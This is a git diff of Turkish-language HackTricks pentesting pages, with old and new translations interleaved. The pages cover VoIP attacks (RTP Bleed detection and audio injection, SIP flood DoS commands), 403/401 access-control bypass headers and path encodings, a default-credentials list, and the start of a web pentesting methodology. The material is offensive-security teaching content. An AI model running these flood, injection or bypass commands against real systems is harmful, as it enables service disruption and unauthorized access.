Daha fazla bilgi için [https://www.rtpbleed.com/](https://www.rtpbleed.com/) adresini kontrol edin.
Daha fazla bilgi için [https://www.rtpbleed.com/](https://www.rtpbleed.com/)
* **`SIPPTS rtpbleed`** from [**sippts**](https://github.com/Pepelux/sippts)**:** SIPPTS rtpbleed, RTP akışları göndererek RTP Bleed zafiyetini tespit eder.
```bash
@ -570,7 +578,7 @@ sippts rtcpbleed -i 10.10.0.10
```bash
sippts rtpbleedflood -i 10.10.0.10 -p 10070 -v
```
* **`SIPPTS rtpbleedinject`** from [**sippts**](https://github.com/Pepelux/sippts)**:** SIPPTS rtpbleedinject, bir ses dosyasını (WAV formatında) enjekte ederek RTP Bleed ığını istismar eder.
* **`SIPPTS rtpbleedinject`** from [**sippts**](https://github.com/Pepelux/sippts)**:** SIPPTS rtpbleedinject, bir ses dosyasını (WAV formatında) enjekte ederek RTP Bleed zafiyetini istismar eder.
```bash
sippts rtpbleedinject -i 10.10.0.10 -p 10070 -f audio.wav
```
@ -598,11 +606,11 @@ Eğer sunucu **`System`** komutunda belirli karakterlerin kullanılmasına **izi
* bu, bir arka kapı olarak yeni bir mysql kullanıcısı oluşturmak için kullanılabilir.
* **`Elastix`**
* **`Elastix.conf`** -> mysql root şifresi, IMAPd şifresi, web admin şifresi gibi düz metin olarak birkaç şifre içerir.
* **Birçok klasör**, tehlikeye atılmış asterisk kullanıcısına ait olacaktır (root olarak çalışmıyorsa). Bu kullanıcı önceki dosyaları okuyabilir ve ayrıca yapılandırmayı kontrol edebilir, böylece Asterisk'in çalıştırıldığında diğer arka kapılı ikili dosyaları yüklemesini sağlayabilir.
* **Birçok klasör**, tehlikeye atılmış asterisk kullanıcısına ait olacaktır (root olarak çalışmıyorsa). Bu kullanıcı önceki dosyaları okuyabilir ve ayrıca yapılandırmayı kontrol edebilir, böylece Asterisk'in çalıştırıldığında başka arka kapılı ikili dosyaları yüklemesini sağlayabilir.
### RTP Enjeksiyonu
**`.wav`** dosyasını **`rtpinsertsound`** (`sudo apt install rtpinsertsound`) ve **`rtpmixsound`** (`sudo apt install rtpmixsound`) gibi araçlar kullanarak konuşmalara eklemek mümkündür.
**`.wav`** dosyasını konuşmalara eklemek, **`rtpinsertsound`** (`sudo apt install rtpinsertsound`) ve **`rtpmixsound`** (`sudo apt install rtpmixsound`) gibi araçlar kullanılarak mümkündür.
Ya da [http://blog.pepelux.org/2011/09/13/inyectando-trafico-rtp-en-una-conversacion-voip/](http://blog.pepelux.org/2011/09/13/inyectando-trafico-rtp-en-una-conversacion-voip/) adresindeki scriptleri kullanarak **konuşmaları tarayabilir** (**`rtpscan.pl`**), bir konuşmaya **`.wav`** gönderebilir (**`rtpsend.pl`**) ve bir konuşmaya **gürültü ekleyebilirsiniz** (**`rtpflood.pl`**).
@ -610,9 +618,9 @@ Ya da [http://blog.pepelux.org/2011/09/13/inyectando-trafico-rtp-en-una-conversa
VoIP sunucularında DoS elde etmenin birkaç yolu vardır.
* **`SIPPTS flood`** [**sippts**](https://github.com/Pepelux/sippts)**'den**: SIPPTS flood, hedefe sınırsız mesaj gönderir.
* **`SIPPTS flood`** [**sippts**](https://github.com/Pepelux/sippts)**'den: SIPPTS flood, hedefe sınırsız mesaj gönderir.
* `sippts flood -i 10.10.0.10 -m invite -v`
* **`SIPPTS ping`** [**sippts**](https://github.com/Pepelux/sippts)**'den**: SIPPTS ping, sunucunun yanıt süresini görmek için bir SIP ping yapar.
* **`SIPPTS ping`** [**sippts**](https://github.com/Pepelux/sippts)**'den: SIPPTS ping, sunucu yanıt süresini görmek için bir SIP ping yapar.
* `sippts ping -i 10.10.0.10`
* [**IAXFlooder**](https://www.kali.org/tools/iaxflood/): Asterisk tarafından kullanılan DoS IAX protokolü.
* [**inviteflood**](https://github.com/foreni-packages/inviteflood/blob/master/inviteflood/Readme.txt): UDP/IP üzerinden SIP/SDP INVITE mesajı seli gerçekleştiren bir araç.
@ -623,7 +631,7 @@ VoIP sunucularında DoS elde etmenin birkaç yolu vardır.
### OS Güvenlik Açıkları
Asterisk gibi bir yazılımı kurmanın en kolay yolu, zaten kurulu olan bir **OS dağıtımını** indirmektir, örneğin: **FreePBX, Elastix, Trixbox**... Bu dağıtımların sorunu, çalışmaya başladıktan sonra sistem yöneticilerinin **bir daha güncellemeyebileceği** ve **güvenlik açıklarının** zamanla keşfedileceğidir.
Asterisk gibi bir yazılımı kurmanın en kolay yolu, zaten kurulu olan bir **OS dağıtımını** indirmektir, örneğin: **FreePBX, Elastix, Trixbox**... Sorun şu ki, bir kez çalışmaya başladığında sistem yöneticileri **bir daha güncellemeyebilir** ve **güvenlik açıkları** zamanla keşfedilecektir.
## Referanslar
@ -635,16 +643,24 @@ Asterisk gibi bir yazılımı kurmanın en kolay yolu, zaten kurulu olan bir **O
* [https://resources.enablesecurity.com/resources/sipdigestleak-tut.pdf](https://resources.enablesecurity.com/resources/sipdigestleak-tut.pdf)
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
AWS Hacking'i öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
#### Web uygulamalarınız, ağınız ve bulutunuz hakkında bir hacker perspektifi edinin
**Gerçek iş etkisi olan kritik, istismar edilebilir güvenlik açıklarını bulun ve raporlayın.** Saldırı yüzeyini haritalamak, ayrıcalıkları artırmanıza izin veren güvenlik sorunlarını bulmak ve temel kanıtları toplamak için 20'den fazla özel aracımızı kullanarak, sıkı çalışmanızı ikna edici raporlara dönüştürün.
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
<details>
<summary>Support HackTricks</summary>
<summary>HackTricks'i Destekleyin</summary>
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'i takip edin.**
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
</details>
{% endhint %}

View file

@ -9,7 +9,7 @@ GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" a
<summary>HackTricks'i Destekleyin</summary>
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'i takip edin.**
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** **bizi takip edin** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
</details>
@ -17,7 +17,9 @@ GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" a
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
**Zafiyet değerlendirmesi ve penetrasyon testi için anında kullanılabilir kurulum**. Recon'dan raporlamaya kadar 20'den fazla araç ve özellik ile her yerden tam bir pentest gerçekleştirin. Pentester'ların yerini almıyoruz - onlara daha derinlemesine araştırma yapmaları, shell'leri patlatmaları ve eğlenmeleri için biraz zaman kazandırmak amacıyla özel araçlar, tespit ve istismar modülleri geliştiriyoruz.
#### Web uygulamalarınız, ağınız ve bulutunuz hakkında bir hacker perspektifi edinin
**Gerçek iş etkisi olan kritik, istismar edilebilir güvenlik açıklarını bulun ve raporlayın.** Saldırı yüzeyini haritalamak, ayrıcalıkları artırmanıza izin veren güvenlik sorunlarını bulmak ve temel kanıtları toplamak için otomatik istismarları kullanmak için 20'den fazla özel aracımızı kullanın, böylece sıkı çalışmanızı ikna edici raporlara dönüştürün.
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
@ -25,15 +27,15 @@ GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" a
Dosyaya erişmek için **farklı fiiller** kullanmayı deneyin: `GET, HEAD, POST, PUT, DELETE, CONNECT, OPTIONS, TRACE, PATCH, INVENTED, HACK`
* Yanıt başlıklarını kontrol edin, belki bazı bilgiler verilebilir. Örneğin, `Content-Length: 55` ile **HEAD** için **200 yanıtı**, **HEAD fiilinin bilgiyi erişebileceği** anlamına gelir. Ancak, bu bilgiyi dışarı çıkarmanın bir yolunu bulmanız gerekir.
* `X-HTTP-Method-Override: PUT` gibi bir HTTP başlığı kullanmak, kullanılan fiili geçersiz kılabilir.
* **`TRACE`** fiilini kullanın ve çok şanslıysanız, belki yanıtınızda **ara proxy'ler tarafından eklenen başlıkları** görebilirsiniz, bu da faydalı olabilir.
* Yanıt başlıklarını kontrol edin, belki bazı bilgiler verilebilir. Örneğin, **HEAD** için **200 yanıtı** ve `Content-Length: 55` demek ki **HEAD fiili bilgiye erişebilir**. Ama yine de o bilgiyi dışarı çıkarmanın bir yolunu bulmalısınız.
* `X-HTTP-Method-Override: PUT` gibi bir HTTP başlığı kullanmak fiili geçersiz kılabilir.
* **`TRACE`** fiilini kullanın ve çok şanslıysanız belki yanıtınızda **ara proxy'ler tarafından eklenen başlıkları** görebilirsiniz, bu da faydalı olabilir.
## HTTP Başlıkları Fuzzing
* **Host başlığını** rastgele bir değere değiştirin ([burada işe yaradı](https://medium.com/@sechunter/exploiting-admin-panel-like-a-boss-fc2dd2499d31))
* Kaynağa erişmek için [**diğer Kullanıcı Ajanlarını**](https://github.com/danielmiessler/SecLists/blob/master/Fuzzing/User-Agents/UserAgents.fuzz.txt) kullanmayı deneyin.
* **HTTP Başlıklarını Fuzzing**: HTTP Proxy **Başlıkları**, HTTP Kimlik Doğrulama Temel ve NTLM brute-force (sadece birkaç kombinasyon ile) ve diğer teknikleri kullanmayı deneyin. Bunu yapmak için [**fuzzhttpbypass**](https://github.com/carlospolop/fuzzhttpbypass) aracını oluşturdum.
* Kaynağa erişmek için [**diğer Kullanıcı Araçlarını**](https://github.com/danielmiessler/SecLists/blob/master/Fuzzing/User-Agents/UserAgents.fuzz.txt) kullanmayı deneyin.
* **HTTP Başlıklarını Fuzzing**: HTTP Proxy **Başlıklarını**, HTTP Kimlik Doğrulama Temel ve NTLM brute-force (sadece birkaç kombinasyon ile) ve diğer teknikleri deneyin. Bunu yapmak için [**fuzzhttpbypass**](https://github.com/carlospolop/fuzzhttpbypass) aracını oluşturdum.
* `X-Originating-IP: 127.0.0.1`
* `X-Forwarded-For: 127.0.0.1`
@ -49,21 +51,21 @@ Dosyaya erişmek için **farklı fiiller** kullanmayı deneyin: `GET, HEAD, POST
* `X-ProxyUser-Ip: 127.0.0.1`
* `Host: localhost`
Eğer **yol korunuyorsa**, bu diğer başlıkları kullanarak yol korumasını aşmayı deneyebilirsiniz:
Eğer **yol korunuyorsa** bu diğer başlıkları kullanarak yol korumasını aşmayı deneyebilirsiniz:
* `X-Original-URL: /admin/console`
* `X-Rewrite-URL: /admin/console`
* Eğer sayfa **bir proxy'nin arkasındaysa**, belki de proxy, özel bilgilere erişmenizi engelliyordur. [**HTTP İstek Kaçırma**](../../pentesting-web/http-request-smuggling/) **veya** [**hop-by-hop başlıkları**](../../pentesting-web/abusing-hop-by-hop-headers.md)** istismar etmeyi deneyin.**
* Farklı yanıtlar aramak için [**özel HTTP başlıklarını**](special-http-headers.md) fuzzing yapın.
* **HTTP Yöntemlerini** fuzzing yaparken **özel HTTP başlıklarını** fuzzing yapın.
* Eğer sayfa **bir proxy'nin arkasındaysa**, belki de proxy özel bilgilere erişmenizi engelliyordur. [**HTTP İstek Kaçırma**](../../pentesting-web/http-request-smuggling/) **veya** [**hop-by-hop başlıkları**](../../pentesting-web/abusing-hop-by-hop-headers.md)** istismar etmeyi deneyin.**
* Farklı yanıtlar aramak için [**özel HTTP başlıklarını**](special-http-headers.md) fuzzlayın.
* **HTTP Yöntemlerini** fuzzlarken **özel HTTP başlıklarını** fuzzlayın.
* **Host başlığını kaldırın** ve belki de korumayı aşabileceksiniz.
## Yol **Fuzzing**
Eğer _/path_ engellenmişse:
* _**/**_**%2e/path _kullanmayı deneyin (eğer erişim bir proxy tarafından engelleniyorsa, bu korumayı aşabilir). Ayrıca**\_\*\* /%252e\*\*/path (çift URL kodlaması) deneyin.
* **Unicode bypass** deneyin: _/**%ef%bc%8f**path_ (URL kodlu karakterler "/" gibidir) bu nedenle geri kodlandığında _//path_ olacak ve belki de _/path_ adı kontrolünü aşmış olacaksınız.
* _**/**_**%2e/path_ kullanmayı deneyin (eğer erişim bir proxy tarafından engelleniyorsa, bu korumayı aşabilir). Ayrıca **\_\*\* /%252e\*\*/path** (çift URL kodlama) deneyin.
* **Unicode bypass** deneyin: _/**%ef%bc%8f**path_ (URL kodlu karakterler "/" gibidir) böylece geri kodlandığında _//path_ olacak ve belki de _/path_ adı kontrolünü aşmış olacaksınız.
* **Diğer yol bypass'leri**:
* site.com/secret > HTTP 403 Yasak
* site.com/SECRET > HTTP 200 Tamam
@ -104,14 +106,14 @@ HTTP/1.1 kullanıyorsanız **1.0 kullanmayı deneyin** veya **2.0'ı destekleyip
## **Diğer Bypass'ler**
* Alan adının **IP** veya **CNAME**'sini alın ve **doğrudan iletişim kurmayı deneyin**.
* Alanın **IP** veya **CNAME**'sini alın ve **doğrudan iletişim kurmayı deneyin**.
* **Sunucuyu zorlayın** yaygın GET istekleri göndererek ([Bu adam için Facebook'ta işe yaradı](https://medium.com/@amineaboud/story-of-a-weird-vulnerability-i-found-on-facebook-fc0875eb5125)).
* **Protokolü değiştirin**: http'den https'ye veya https'den http'ye
* **Protokolü değiştirin**: http'den https'ye veya https'den http'ye.
* [**https://archive.org/web/**](https://archive.org/web/) adresine gidin ve geçmişte o dosyanın **dünya çapında erişilebilir olup olmadığını** kontrol edin.
## **Brute Force**
* **Şifreyi tahmin edin**: Aşağıdaki yaygın kimlik bilgilerini test edin. Kurban hakkında bir şey biliyor musunuz? Ya da CTF meydan okuma adını mı?
* **Şifreyi tahmin edin**: Aşağıdaki yaygın kimlik bilgilerini test edin. Kurban hakkında bir şey biliyor musunuz? Ya da CTF meydan okuma adı?
* [**Brute force**](../../generic-methodologies-and-resources/brute-force.md#http-brute)**:** Temel, digest ve NTLM kimlik doğrulamasını deneyin.
{% code title="Yaygın kimlik bilgileri" %}
@ -132,26 +134,28 @@ guest guest
* [https://github.com/lobuhi/byp4xx](https://github.com/lobuhi/byp4xx)
* [https://github.com/iamj0ker/bypass-403](https://github.com/iamj0ker/bypass-403)
* [https://github.com/gotr00t0day/forbiddenpass](https://github.com/gotr00t0day/forbiddenpass)
* [Burp Eklentisi - 403 Bypass](https://portswigger.net/bappstore/444407b96d9c4de0adb7aed89e826122)
* [Burp Extension - 403 Bypass](https://portswigger.net/bappstore/444407b96d9c4de0adb7aed89e826122)
* [Forbidden Buster](https://github.com/Sn1r/Forbidden-Buster)
* [NoMoreForbidden](https://github.com/akinerk/NoMoreForbidden)
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
**Zafiyet değerlendirmesi ve penetrasyon testi için anında kullanılabilir kurulum**. 20'den fazla araç ve özellik ile her yerden tam bir pentest gerçekleştirin; keşiften raporlamaya kadar. Pentester'ların yerini almıyoruz - onlara daha derinlemesine araştırma yapmaları, shell'leri patlatmaları ve eğlenmeleri için biraz zaman kazandırmak amacıyla özel araçlar, tespit ve istismar modülleri geliştiriyoruz.
#### Web uygulamalarınız, ağınız ve bulutunuz hakkında bir hacker perspektifi edinin
**Gerçek iş etkisi olan kritik, istismar edilebilir güvenlik açıklarını bulun ve raporlayın.** Saldırı yüzeyini haritalamak, yetki yükseltmenize izin veren güvenlik sorunlarını bulmak ve temel kanıtları toplamak için otomatik istismarları kullanmak için 20'den fazla özel aracımızı kullanın, böylece sıkı çalışmanızı ikna edici raporlara dönüştürebilirsiniz.
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
{% hint style="success" %}
AWS Hacking'i öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
AWS Hacking'i öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Eğitim AWS Kırmızı Ekip Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Eğitim GCP Kırmızı Ekip Uzmanı (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>HackTricks'i Destekleyin</summary>
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** bizi takip edin.**
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter**'da **bizi takip edin** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
</details>

View file

@ -1,29 +1,31 @@
# 80,443 - Pentesting Web Methodolojisi
# 80,443 - Pentesting Web Methodology
{% hint style="success" %}
AWS Hacking'i öğrenin ve pratik yapın:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking'i öğrenin ve pratik yapın: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
AWS Hacking'i öğrenin ve pratik yapın:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking'i öğrenin ve pratik yapın: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>HackTricks'i Destekleyin</summary>
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* **Bize katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya **bizi** **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** takip edin.**
* **Hacking ipuçlarını paylaşarak** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'i takip edin.**
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
</details>
{% endhint %}
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
**Hacking kariyeri** ile ilgileniyorsanız ve hacklenemez olanı hack etmek istiyorsanız - **işe alıyoruz!** (_akıcı Lehçe yazılı ve sözlü gereklidir_).
#### Web uygulamalarınız, ağınız ve bulutunuz hakkında bir hacker perspektifi edinin
{% embed url="https://www.stmcyber.com/careers" %}
**Gerçek iş etkisi olan kritik, istismar edilebilir güvenlik açıklarını bulun ve raporlayın.** Saldırı yüzeyini haritalamak, ayrıcalıkları artırmanıza izin veren güvenlik sorunlarını bulmak ve temel kanıtları toplamak için otomatik istismarları kullanmak için 20'den fazla özel aracımızı kullanın, böylece sıkı çalışmanızı ikna edici raporlara dönüştürün.
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
## Temel Bilgiler
Web servisi en **yaygın ve kapsamlı hizmettir** ve birçok **farklı türde zafiyet** bulunmaktadır.
Web hizmeti en **yaygın ve kapsamlı hizmettir** ve birçok **farklı türde güvenlik açığı** bulunmaktadır.
**Varsayılan port:** 80 (HTTP), 443(HTTPS)
```bash
@ -49,31 +51,31 @@ openssl s_client -connect domain.com:443 # GET / HTTP/1.0
* [ ] **Web sunucusu** tarafından kullanılan **teknolojileri** **belirleyerek** başlayın. Teknolojiyi başarıyla tanımlayabilirseniz, testin geri kalanında aklınızda bulundurmanız gereken **ipuçları** arayın.
* [ ] Teknolojinin sürümüne ait herhangi bir **bilinen zafiyet** var mı?
* [ ] Herhangi bir **iyi bilinen teknoloji** mi kullanılıyor? Daha fazla bilgi çıkarmak için herhangi bir **yararlı ipucu** var mı?
* [ ] Çalıştırılacak herhangi bir **uzman tarayıcı** var mı (örneğin wpscan)?
* [ ] **Genel amaçlı tarayıcılar** başlatın. Ne bulacaklarını veya ilginç bilgiler bulup bulamayacaklarını asla bilemezsiniz.
* [ ] Çalıştırılacak herhangi bir **özel tarayıcı** var mı (örneğin wpscan)?
* [ ] **Genel amaçlı tarayıcıları** başlatın. Ne bulacaklarını veya ilginç bilgiler bulup bulamayacaklarını asla bilemezsiniz.
* [ ] **Başlangıç kontrolleri** ile başlayın: **robots**, **sitemap**, **404** hatası ve **SSL/TLS taraması** (eğer HTTPS ise).
* [ ] Web sayfasını **spidering** yapmaya başlayın: Tüm olası **dosyaları, klasörleri** ve **kullanılan parametreleri bulma** zamanı. Ayrıca, **özel bulgular** için kontrol edin.
* [ ] _Brute-forcing veya spidering sırasında yeni bir dizin keşfedildiğinde, o dizin de spidering yapılmalıdır._
* [ ] **Dizin Brute-Forcing**: Keşfedilen tüm klasörleri brute force yaparak yeni **dosyalar** ve **dizinler** arayın.
* [ ] **Dizin Brute-Forcing**: Keşfedilen tüm klasörleri brute force ile yeni **dosyalar** ve **dizinler** arayın.
* [ ] _Brute-forcing veya spidering sırasında yeni bir dizin keşfedildiğinde, o dizin de Brute-Forced yapılmalıdır._
* [ ] **Yedek kontrolü**: Ortaya çıkan **dosyaların** **yedeklerini** bulup bulamayacağınızı test edin, yaygın yedek uzantılarını ekleyerek.
* [ ] **Brute-Force parametreleri**: **Gizli parametreleri** bulmaya çalışın.
* [ ] Tüm olası **kullanıcı girişi** kabul eden **son noktaları** **belirledikten** sonra, bunlarla ilgili her türlü **zafiyeti** kontrol edin.
* [ ] Tüm olası **kullanıcı girişi** kabul eden ** noktaları** **belirledikten** sonra, bunlarla ilgili her türlü **zafiyeti** kontrol edin.
* [ ] [Bu kontrol listesini takip edin](../../pentesting-web/web-vulnerabilities-methodology.md)
## Sunucu Sürümü (Zayıf mı?)
## Sunucu Sürümü (Zafiyetli mi?)
### Belirleme
Çalışan sunucu **sürümü** için **bilinen zafiyetler** olup olmadığını kontrol edin.\
**HTTP başlıkları ve yanıtın çerezleri**, kullanılan **teknolojileri** ve/veya **sürümü** **belirlemek** için çok yararlı olabilir. **Nmap taraması** sunucu sürümünü belirleyebilir, ancak [**whatweb**](https://github.com/urbanadventurer/WhatWeb)**,** [**webtech** ](https://github.com/ShielderSec/webtech) veya [**https://builtwith.com/**](https://builtwith.com)** gibi araçlar da faydalı olabilir:**
**HTTP başlıkları ve yanıtın çerezleri**, kullanılan **teknolojileri** ve/veya **sürümü** **belirlemek** için çok yararlı olabilir. **Nmap taraması** sunucu sürümünü belirleyebilir, ancak [**whatweb**](https://github.com/urbanadventurer/WhatWeb)**,** [**webtech** ](https://github.com/ShielderSec/webtech) veya [**https://builtwith.com/**](https://builtwith.com)** gibi araçlar da yararlı olabilir:**
```bash
whatweb -a 1 <URL> #Stealthy
whatweb -a 3 <URL> #Aggresive
webtech -u <URL>
webanalyze -host https://google.com -crawl 2
```
Search **for** [**web uygulamasının zayıflıkları** **versiyonu**](../../generic-methodologies-and-resources/search-exploits.md)
Search **for** [**web uygulamasının** **sürüm** **açıklarını**](../../generic-methodologies-and-resources/search-exploits.md)
### **Herhangi bir WAF olup olmadığını kontrol et**
@ -83,7 +85,7 @@ Search **for** [**web uygulamasının zayıflıkları** **versiyonu**](../../gen
### Web teknoloji hileleri
Farklı iyi bilinen **teknolojilerde** **zayıflıkları** bulmak için bazı **hileler**:
Farklı iyi bilinen **teknolojilerde** **ıkları** **bulmak** için bazı **hileler**:
* [**AEM - Adobe Experience Cloud**](aem-adobe-experience-cloud.md)
* [**Apache**](apache.md)
@ -115,7 +117,7 @@ Farklı iyi bilinen **teknolojilerde** **zayıflıkları** bulmak için bazı **
* [**WebDav**](put-method-webdav.md)
* [**Werkzeug**](werkzeug.md)
* [**Wordpress**](wordpress.md)
* [**Electron Desktop (XSS to RCE)**](electron-desktop-apps/)
* [**Electron Desktop (XSS'den RCE'ye)**](electron-desktop-apps/)
_Dikkate al ki **aynı alan** farklı **portlar**, **klasörler** ve **alt alanlar** içinde **farklı teknolojiler** kullanıyor olabilir._\
Eğer web uygulaması daha önce listelenen herhangi bir iyi bilinen **teknoloji/platform** veya **başka bir şey** kullanıyorsa, **İnternette** yeni hileler **aramayı** unutma (ve bana haber ver!).
@ -124,12 +126,12 @@ Eğer web uygulaması daha önce listelenen herhangi bir iyi bilinen **teknoloji
Eğer uygulamanın **kaynak kodu** **github**'da mevcutsa, uygulamanın **kendi başına bir Beyaz kutu testi** yapmanın yanı sıra, mevcut **Siyah Kutu testi** için **bazı bilgiler** **yararlı** olabilir:
* **Değişiklik günlüğü veya Readme veya Versiyon** dosyası veya web üzerinden erişilebilen **versiyon bilgisi** içeren bir şey var mı?
* **Değişiklik günlüğü veya Readme veya Sürüm** dosyası veya web üzerinden erişilebilen **sürüm bilgisi** içeren herhangi bir şey var mı?
* **Kimlik bilgileri** nasıl ve nerede saklanıyor? **Kimlik bilgileri** (kullanıcı adları veya şifreler) ile ilgili herhangi bir (erişilebilir?) **dosya** var mı?
* **Şifreler** **düz metin**, **şifrelenmiş** mi yoksa hangi **hash algoritması** kullanılıyor?
* Bir şeyi şifrelemek için herhangi bir **anahtar** kullanıyor mu? Hangi **algoritma** kullanılıyor?
* Herhangi bir zayıflığı sömürerek **bu dosyalara erişebilir misin**?
* **Github'da** (çözülen ve çözülmeyen) **sorularda** herhangi bir **ilginç bilgi** var mı? Veya **commit geçmişinde** (belki eski bir commit içinde bazı **şifreler** tanıtılmıştır)?
* Bir açığı sömürerek **bu dosyalara erişebilir misin**?
* **Github'da** (çözülen ve çözülmeyen) **sorularda** herhangi bir **ilginç bilgi** var mı? Ya da **commit geçmişinde** (belki eski bir commit içinde bazı **şifreler** girişi)?
{% content-ref url="code-review-tools.md" %}
